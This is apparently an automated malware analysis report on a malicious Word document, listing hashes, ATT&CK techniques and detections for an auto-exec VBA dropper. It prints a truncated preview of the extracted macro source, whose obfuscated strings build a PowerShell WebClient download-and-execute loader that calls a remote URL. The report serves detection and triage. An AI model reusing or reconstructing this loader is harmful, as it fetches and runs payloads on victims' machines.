Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2e633177f1410f92…

MALICIOUS

Office (OLE)

135.5 KB Created: 2018-02-16 23:26:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: e3fd896b04f2508e75c84ecffe941c02 SHA-1: bad6babb0b5f6d18cc80458a7c2e3c7af2a75fb7 SHA-256: 2e633177f1410f92ce36352e3d049439239d2790d4fce1c65fa60f1ecedb7021
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a critical obfuscated auto-exec VBA loader with a Shell() call, indicating it's designed to execute arbitrary code. The VBA script attempts to download a second-stage payload from a URL, which is a common dropper behavior. While the specific family is not identifiable, the techniques used point to a malicious dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6450804-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6450804-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37473 bytes
SHA-256: 0cef6386517e5ca0f7ded54015d7792ac068c65f6f8758c897c4c185f9a54b8f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cjhfMMN"
Function rjbmwYTlHATCd()
On Error Resume Next
ohFjRko = 1661077 + Atn(pLknmdkcNjcom) / ZQwrWbuJq - Sgn(AsNCmn * Log(AAzcOZtMOw)) / (9040706 - BuPPA * iQufjzfVbmt - hpaFcont)
bXWMCLAYUR = 2122812 + Atn(DfIizJoOlcMSI) / jUTBwtwGS - Sgn(PFZwSbcHZmMOXC * Log(WjMARDPhDVHUlw)) / (3332082 - wNJPtjsvKzFtV * UzRCaN - GAuAYVaLGrKH)
wIitJF = 8725126 + Atn(ANmFmnQq) / wVLtBKDi - Sgn(DHqNOPVNR * Log(DIulbtTjiznZ)) / (3985942 - iwiMcZA * IoDlZ - zXjZVjnJDkkA)
DzihBo = (sjXOkXECWKvMmC) + yHBjksbJKSUgsssd("ziIZLjkJEwADDPpIZwO", 11, 2)
zqCfBPDhmW = 2688458 + Atn(ocZtt) / crZfXFZwwJ - Sgn(mbodwnIzDtj * Log(rRWUa)) / (9744911 - EYqjJAKUcAHsVW * UmZas - QvqiwqhOAkzz)
oIjSXpl = 9932470 + Atn(Iwufc) / SjzvBKfpwkvz - Sgn(KndAzN * Log(cGbPIsV)) / (3293646 - YsuwGWkwuhlKs * QpztpRfv - RRIMEhnIpOvYsA)
oBkzwnsR = 253517 + Atn(oDiFPbAjoLaIzj) / OcvchwJjRHZwwz - Sgn(YpwuBOAqhqRYY * Log(HfIIOhwzXUBiW)) / (2605981 - qfEmvmkJFilNlN * PZlnKbRnhQwb - isWrmsqK)
ipmHTn = (skzAGhqTfjHN) + yHBjksbJKSUgsssd("EoJUsGkXjwnDvamr= brYnsT9r+T9rad'+'asd.T9r+T9rnextT9r+T9NjY+NjYr(T9r+T9r1'+'0000, 282T9r+T9r133T9r+T9r);brYADT9r+'+'T9rCT9r+T9rXT9r+T9r = 7IT9NjY+NjYr+T9rOT9r+T9r httT9r+T9rp'+'://NjY+NjYT9r+NjY+NjYT9res'+'T'+'Kz", 16, 195)
zvskAEMtbh = 8511139 + Atn(WzKSfMHua) / XcCmJjnGOIFwl - Sgn(hZRdHjWRSqPcv * Log(qqWhs)) / (3318624 - IBokDPP * jRZNSlF - inrWFJMXjkkQYm)
RLsDoDJQ = 4505297 + Atn(UjYYc) / DUGGiZpOdSkus - Sgn(BuGwpRESfznzt * Log(tlMhTljXQ)) / (9934202 - mhRHSfdtdD * aZjKolpGSl - TVrFCbGKdiG)
CRfXKfqKRNi = 4660723 + Atn(jmLMT) / DQSSLn - Sgn(IzwhJjpHNvPNdC * Log(TZvTBjaBZcnJ)) / (6488811 - BCfRESI * wVZiuWq - zqHQztXslRivYF)
mYLPIiziVlq = (TKjkEbtjDWZ) + yHBjksbJKSUgsssd("VQFCVjMvUKcTjDO +T9r+T9r brYNSB Lk2+Lk2+T9r+T9r '+'T9r+T9r(7IOT9r'+'+T9r.eT9NjY+NjY'+'r+TNjY+NjY9rx7T9r+T9Lk2+Lk2rNjY+NjYIO+7IOe7IO)T9r+T9r;foreach(brT9r+T9rYasfc T9r+T9rin brYzTMuwPF", 15, 162)
XFHkEzRt = 369975 + Atn(RIfnfmkN) / qzCbCJzLERXm - Sgn(QwwTfdkucZVqa * Log(NwPlz)) / (3256744 - mbrqjuNS * iifbsjpMH - csOZjl)
KGjvD = 5389318 + Atn(kPofXV) / dVHcwjXcD - Sgn(qLwMdGDitobYBK * Log(HocCjw)) / (1382410 - FOOijL * FQKiqZdtG - lBdhtE)
vYDUlw = 3743915 + Atn(WouuZUwjBtzPYT) / WiLOWUfi - Sgn(VtwzdcMJulMWcK * Log(qiGYjvqlShHwh)) / (8181892 - crKzZjVwGYhnVm * zuXVYo - HuziIfP)
PbajImXk = (HdatSlELicw) + yHBjksbJKSUgsssd("RowwMJKjTAr+T9rjectNjY+NjY7IO) SysT9r+T9rtem.NT9r+T9ret.'+'WeT9r+T9rbCLk2+Lk2liTvipuLCYmizKqvhPro", 11, 70)
WZkbTq = 2219646 + Atn(MaMSIOjPAuXq) / juDUXcklRmK - Sgn(ENHrr * Log(JUfJCR)) / (152562 - umvcrmiAQEzn * WazvoCOEAcYIlO - EarlThhwp)
GVJqW = 7782529 + Atn(XZDzCsDKntfOOP) / luKXUGYIwpMN - Sgn(QobKGtio * Log(CZjEa)) / (5135355 - YLdWhwnoRU * zRGIqikuzRVH - kwkrkrPj)
ijsYhAWj = 9608346 + Atn(YdjrlTAmsmF) / WtujCUfbKCE - Sgn(mjLvDa * Log(IBlii)) / (1345152 - wawfdVPFbqzB * vAWVVZZFCIFi - hwikLPcP)
uDdaljfCUZ = (UjAzCIVw) + yHBjksbJKSUgsssd("nbRqncCGwTrYYYU T9r+T9r=Lk2+Lk2 .(7IOne7IT9r+T9rO+7T9r+T9rIOw7IOTLk2+Lk29r+'+'TLk2+Lk29r+7IO-'+'obT9GiFoWbktOZk", 11, 90)
RaKhVIk = 2027220 + Atn(SbqfhZaZvtqw) / fYunHjhYozUzK - Sgn(hZmjiPwbFRpPc * Log(jMkZQP)) / (447852 - BflPcP * bWjXftAJJH - tDSdzsEXobO)
cHiRfvaBz = 9067886 + Atn(vsXXGwTmjzd) / JszQjDbRjVzrYh - Sgn(KEaCMbzcmWdCK * Log(uMFoiozHGFYn)) / (5652529 - ZtjwYFIhGuRTLQ * uFAQdoI - CqttDzViZzwCt)
pBYjBOGMJi = 8037651 + Atn(dFfNGKXOdj) / MzXXzLQziIfMFj - Sgn(QrWNNQEbWLw * Log(CjibPJGlWG)) / (376221 - mmuLVzsZdWtfsP * fHXBMBkOQ - jQDwwNKpYabWtF)
XqXVNYuzC = (CkJIiQMFhiwSsw) + yHBjksbJKSUgsssd("NcpjzsXuzvzRJNiEEEcNIzzvX);T9NjY+NjYrLk2+LkNjY+NjY2+T9r&(7IOINjY+NjYnT9r+T9rvo7IO+'+'7T9r+T9rNjY+NjYIOT9r+T9Lk'+'2+Lk2rkLk2+Lk27IOT9rLk2+Lk2+T9ZV", 26, 118)
RLCiJ = 7880822 + Atn(fJjpUpvJOS) / tcmjaAzQQX - Sgn(OFAbXDsj * Log(rdzSWGJP)) / (2092573 - RPjcwUQoDMrRY * Luips - sQhBlPfT)
iisiv = 2436236
... (truncated)

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